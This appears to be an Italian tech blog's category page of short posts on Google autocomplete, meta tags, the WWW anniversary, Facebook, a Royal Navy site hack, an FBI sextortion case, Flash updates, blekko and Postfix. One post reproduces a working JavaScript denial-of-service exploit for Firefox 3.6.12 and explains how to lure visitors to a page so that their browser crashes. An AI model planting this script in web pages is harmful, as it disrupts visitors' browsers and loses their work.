Categoria: Internet

  • Le regioni secondo Google

    Sulla scia dell’abbecedario di Google ho provato a vedere quale sono le prime tre parole che Google propone dopo il nome di ciascuna regione se si utilizza l’auto completamento e si imposta il browser in italiano.

    Per alcune regioni ho utilizzato sia il nome ufficiale sia i due nomi che lo compongono, sia il nome senza il trattino:

    • Valle d’Aosta: meteo, turismo, terme
    • Piemonte: volley, meteo, federvolley
    • Liguria: meteo, assicurazioni, immobiliare
    • Lombardia: dancing, informatica, province
    • Trentino-Alto Adige: wikipedia (non ne propone altre)
    • Trentino Alto Adige: wikipedia, turismo, province
    • Trentino: alto adige, trasporti, vacanze
    • Alto Adige: quotidiano, calcio, meteo
    • Veneto: banca, appalti, strade
    • Friuli-Venezia Giulia: wikipedia (non ne propone altre)
    • Friuli: venezia giulia, doc, doc 2010
    • Venezia Giulia: basket, storia, coppa
    • Emilia-Romagna: wikipedia, ragione, sociale
    • Emilia Romagna: turismo, province, meteo
    • Emilia: romagna, meteo, paranoica
    • Romagna: oggi, mia, sport
    • Toscana: mare, turismo, energia
    • Marche: da bollo, auto, [marché] au fort
    • Umbria: jazz, equitazione, rimorchi
    • Lazio: inter, inter diretta, milan
    • Abruzzo: calcio, web, turismo
    • Molise: trasporti, province, news
    • Campania: caccia, meteo, centro commerciale
    • Basilicata: coast to coast, coast to coast torrent, coast to coast streaming
    • Puglia: channel, impiego, turismo
    • Calabria: ora, scuola, notizie
    • Sicilia: informazioni, fashion village, turismo
    • Sardegna: lavoro, meteo, turismo
  • Meta Tag, come li usi?

    Non sono mai stato un amante dei META TAG, ma sono sempre piuttosto fondamentali per i (sempre più) numerosi Search Engine. E’ vero che più si va avanti più i sistemi SEO non si basano più solo ed esclusivamente su quelli, ma certo è che la visibilità passa ancora per questi (maledetti) tag.

    Proprio ieri un amico mi chiedeva se avessi qualche indicazione e suggerimento per lui, per come dovesse impostare i META TAG, cosa e come compilarli, quali info mettere, ecc. ecc. Non mi voglio considerare un esperto nel settore e mi sono limitato a girargli un tool online, il Free Meta Tag Analyzer, che analizza gli elementi del sito che gli viene indicato, fornendo come risposta un indice di visibilità e, soprattutto, una piccola ma piuttosto completa analisi completa di suggerimenti.
    (Se poi volete diventare (a pagamento) utenti del sito avrete a disposizione un numero di tool molto maggiore).

    Attenzione. Così come per l’altro tool da me suggerito (relativo alle performance), anche in questo caso non vengono fornite soluzioni (e meno male) ma solo consigli. Sta poi a chi si occupa del sito di leggere e capire sia l’analisi ed i suggerimenti e valutare se metterli in pratica o meno.

  • 0day di Mozilla Firefox 3.6.12

    <!--
    
    0day Mozilla Firefox <= 3.6.12 Remote Denial Of Service
    
    Credits:
    Emanuele 'emgent' Gentili	<emgent@backtrack-linux.org>
    Marco 'white_sheep' Rondini	<white_sheep@backtrack-linux.org>
    Alessandro 'scox' Scoscia	<scox@backtrack.it>
    
    -->
    
    <script>document.write("\u0000\u0001\u0002\u0003\u0004\u0005")</script>
    
    <script>
    var i=0;
    for (i=0;i<=19999;i++)
    {
    document.write("a");
    }
    
    for (i=0;i<=3;i++)
    {
    document.write(document.body.innerHTML);
    }
    
    </script>
    

    Il simpatico script qui sopra blocca l’ultima versione di Mozilla Firefox, indipendentemente dal sistema operativo su cui gira.

    Basta, quindi, inserirlo in una pagina HTML, indurre qualcuno a visitare quella pagina e voilà gli avete bloccato Firefox, costringendolo a chiudere brutalmente il software e a perdere i riferimenti a tutti i tab aperti (ci sono persone che potrebbero uccidere per una perdita del genere attenzione!).

    Per ora si tratta solamente di un denial of service, non sono (ancora?) noti malware che sfruttano questo problema per altri scopi.

    Il problema è stato scoperto dal gruppo italiano Backtrack.

  • Tanti auguri WWW

    WWW di Robert Cailliau
    L'immagine originale del WWW, disegnata da Robert Cailliau

    HyperText is a way to link and access information of various kinds as a web of nodes in which the user can browse at will. Potentially, HyperTextprovides a single user-interface to many large classes of stored information such as reports, notes, data-bases, computer documentation and on-line systems help. We propose the implementation of a simple scheme to incorporate several different servers of machine-stored information already available at CERN, including an analysis of the requirements for information access needs by experiments.”

    Questo è l’abstract del documento WorldWideWeb: Proposal for a HyperText Project, che due ingegneri del Cern, Tim Berners-Lee e Robert Cailliau, realizzarono ed inviarono affinchè venisse preso in considerazione ed accettato per lo sviluppo.

    Era il 12 Novembre 1990. Vent’anni fa. Tanti auguri!

  • Venghino signori, venghino!

    Hai bisogno che si parli di te?
    Hai bisogno di stare per un po’ sulle prime pagine dei media tecnologici?
    Hai bisogno di pubblicità gratuita?
    Semplice, spara o inventa qualche cazzata che abbia a che vedere con Facebook ed il gioco è fatto. Non importa quanto stupida, illogica, inutile, qualunquista o retorica… non importa se reale (tipo il ‘socialsalvin’, vero Marco?) o solo a parole. L’importante è farlo.

    L’ultima è di Jimmy Kimmel che, a detta del Corriere, pare sia un popolare comico e conduttore statunitense. Un genio che ha proposto, per il 17 Novembre, il National Unfriend Day, data nella quale si invitano tutti (coloro che non hanno cervello per pensare da soli, nda) a cancellare i ‘friends‘ che non sono friends, filosofeggiando che “These people on Facebook..they’re not your friends. That’s all.
    I casi sono due o questo è veramente un povero ingenuo mononeuronico che crede che il significato di “facebook friend” sia identico a quello di “friend”, oppure questo sa benissimo che i due concetti sono completamente diversi ma, ovviamente, gioca con l’ingenuità di chi gli da retta.

    E’ vero che per molti idioti è importante il numero di amici che si hanno in lista. Non parlo di chi usa Facebook a livello commerciale (ci sono professioni che se sfruttassero Facebook bene migliorerebbero il proprio business), ma parlo di chi usa Facebook un po’ come uno status symbol… e ce ne sono a quintali. Quelli che “sei su Facebook? Quanti amici hai?” oppure “Come non sei su Facebook? Figata… io ho x amici!”. Ed è a questi ingenui bagonghi che questo signor Jimmy punta (e sfrutta) per farsi pubblicità…
    Ma la cosa triste è che la stragrande maggioranza di chi commenta questa notizia… gli da ragione, affermando che lo faranno loro stessi… forse perchè anche loro, nel loro piccolo, hanno bisogno di pubblicità. E il luogo comune più retorico che viene utilizzato è “se hai perso di vista un amico e non lo senti da oltre 10 anni, è perchè non è tuo amico”.

    Il problema di base è che “Facebook Friend” non significa friend. Il fatto che il marketing facebookiano, per tradizione e intelligenza, abbia usato questa parola non è sufficiente per farti spegnere il cervello. Su Facebook l’”amico” non è lo stesso amico che hai nella vita reale. E’ un contatto. Punto e basta.
    E’ possibile che qualcuno di questi contatti sia anche un amico vero e proprio, ma questo è un caso. Solitamente sono persone con cui condividi un hobby o un interesse. Sono persone con cui magari ti capita di intavolare discussioni dalle quali impari sempre qualcosa (non ho detto cambi idea, ho detto impari qualcosa). Seono persone i cui l’1% di status o link possono anche farti sorridere o farti pensare. Magari quell’1% mischiato tra l’altro 99% di inutilità, ti fa conoscere qualcosa di interessante, uno spunto per una risata, per un po’ di relax o per un approfondimento. Sono persone che hai perso di vista per qualche motivo e con cui ti fa piacere, ogni tanto, scambiare qualche messaggio senza dover necessariamente trascorrere ore insieme. Sono persone a cui chiedere un veloce suggerimento.

    Ripeto: non sono friends. Sono “Facebook Friends“.

    Poi certo sicuramente tutti (me compreso) abbiamo qualche inutile “friend” nella nostra lista. Ma questo e il Social Network (in genere) non ha per nulla “deprezzato il concetto di amicizia“, che è una delle filosofeggiate retoriche di Jimmy (e chissà quanti altri).
    Semmai sarebbe più utile e importante che la gente non deprezzi il proprio cervello esaltando i Social Network, rendendoli uno status symbol e dando a gente come questo Jimmy la possibilità di farsi pubblicità con queste cazzate.

    Chi sarà e cosa si inventerà il prossimo personaggio alla ricerca di pubblicità gratuita?

  • Nessuno è immune

    Il sito della Marina Militare britannica è stato hackerato, a fianco la riproduzione dell’immagine che ha sostituito il sito.

    In questo momento il sito con la sola immagine sta girando su in Internet Information Server 6.0.

    L’autore dell’azione sembra essere TinKode, non nuovo a questo tipo di attacchi verso siti con alta visibilità.

    L’attacco sembra aver avuto l’unico scopo di rivelare un problema. TinKode, infatti, si è limitato a rivelare le credenziali di amministratore del sito, senza impiantare del codice dannoso come è successo, per esempio, con il sito del premio Nobel per la pace. (altro…)

  • Arriva la concorrenza

    Dopo gli annunci di Edigita e la discesa in campo di SIP Telecom, arriva finalmente uno store di eBook gestito da chi è stato tra i primi in Italia a credere nella tecnologia.

    Avevo visto lo stand di Simplicissimus due anni e mezzo fa alla fiera del libro di Torino, avevo provato i reader che distribuivano e… avevo ordinato subito dopo un Cybook Gen3.

    Due anni fa il fenomeno sembrava sul punto di scoppiare, ma vari eventi, credo dominati dalla congiuntura economica, hanno rinviato l’apertura delle danze a quest’anno. Poco male.

    Simplicissimus ha aperto STEALTH, una piattaforma di vendita di libri elettronici.

    (altro…)
  • Crimini odiosi

    L’FBI segnala un comportamento criminale di una persona che avrebbe utilizzato metodi di social engineering e un trojan per assumere il controllo della parte multimediale delle sue vittime, tutte ragazze minorenni.

    Il malvivente avrebbe contattato le vittime attraverso i social media e avrebbe spedito loro dei finti filmati, che erano in realtà dei software che gli avrebbero permesso di accedere ai dischi e all’input in tempo reale di microfono e webcam. Le vittime venivano in seguito ricattate minacciando di rivelare a terzi le fotografie contenute nei dischi o i dialoghi intercettati con microfono e webcam.

    La persona è stata arresta lo scorso giugno dopo due anni di indagini.

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  • Prima vedere cammella

    Secondo il GR delle 14:00 di Radio24, il Ministro Maroni ha annunciato l’abrogazione della Pisanu/Stanca a partire dal 1 gennaio prossimo venturo.

    Prima di esultare o esprimere altri pareri bisogna vedere cosa verrà abrogato e quali norme resteranno in vigore.

    Secondo il Corsera, il Procuratore Piero Grasso avrebbe detto che questo provvedimento potrebbe «ridurre moltissimo la possibilità di individuare tutti coloro che commettono reati attraverso Internet».

    Ricordo al signor Procuratore che una rete WEP è crackabile in pochi minuti e che sono noti gli algoritmi con cui Fastweb e Telecom hanno generato le chiavi WPA. Non mi pare che la Procura Generale Antimafia si sia mossa per arginare questi problemi.

  • Aggiornamento di Flash per oggi

    Contrariamente a quanto annunciato in precedenza, Adobe rilascerà nella giornata di oggi (riferita alla time zone americana) un aggiornamento di Flash per Windows, Unix e MacOS che dovrebbe risolvere un problema critico, in quanto è già in circolazione del malware che lo sfrutta. L’aggiornamento per Android è previsto per il 9 di questo mese.

    Aspettatevi, quindi di ricevere una notifica della disponibilità di un aggiornamento per Flash tra oggi e domani. È molto importante aggiornare il programma appena possibile.

    L’aggiornamento per Adobe Reader relativo a questo problema è previsto per la metà del mese. (via Threat Post)

  • blekko

    Un altro motore di ricerca, nato con la speranza di avere maggiori fortune di cuil e similari.

    L’idea innovativa è di restringere ad un determinato campo di azione una ricerca nel caso dia risultati troppo estesi.

    Il video dimostrativo, di cui alcuni riconosceranno gli effetti sonori, mostra come sia possibile restringere una ricerca utilizzando una barra (slash in inglese, che significa anche tagliare, ridurre drasticamente) seguita da una parola chiave.

    Ovviamente nella demo tutto funziona a meraviglia, mentre se si mettono alla prova alcune ricerche specifiche, il motore dice che non esiste ancora lo slashtag. Questo perché blekko non opera in maniera semantica (aspettiamoci che ci arrivi Google come contromossa), ma attraverso filtri definiti dagli utenti. Ovvio che il tutto funziona per ora solamente per la lingua inglese.

    Alcune feature interessanti sono i link che appaiono appena sotto il titolo di ogni risultato delle ricerche: è possibile assegnare dei tag ad un sito, visualizzarne i dati di ottimizzazione per i motori di ricerca (seo), i link verso quella pagina senza gli arcani comandi di BigG, l’indirizzo IP del server e altri dati. Va da sé che queste sono informazioni più utili agli smanettoni che a chi effettua ricerche e sono comunque reperibili altrove senza troppa fatica.

  • Postfix: bloccare le mailing list hackerate

    Capita ogni tanto di dover bloccare un flusso cospicuo di mail in arrivo da un indirizzo o una mailing list hackerata o che rifiuta il comando di disiscrizione e di doverlo fare adesso.

    I filtri applicati ai client possono essere efficaci, ma non comunicano al mittente la nostra intenzione di non voler ricevere più i suoi messaggi. Nel caso di un list server, inoltre, la raffica di delivery failure dovrebbe provocare la rimozione amministrativa dell’account.

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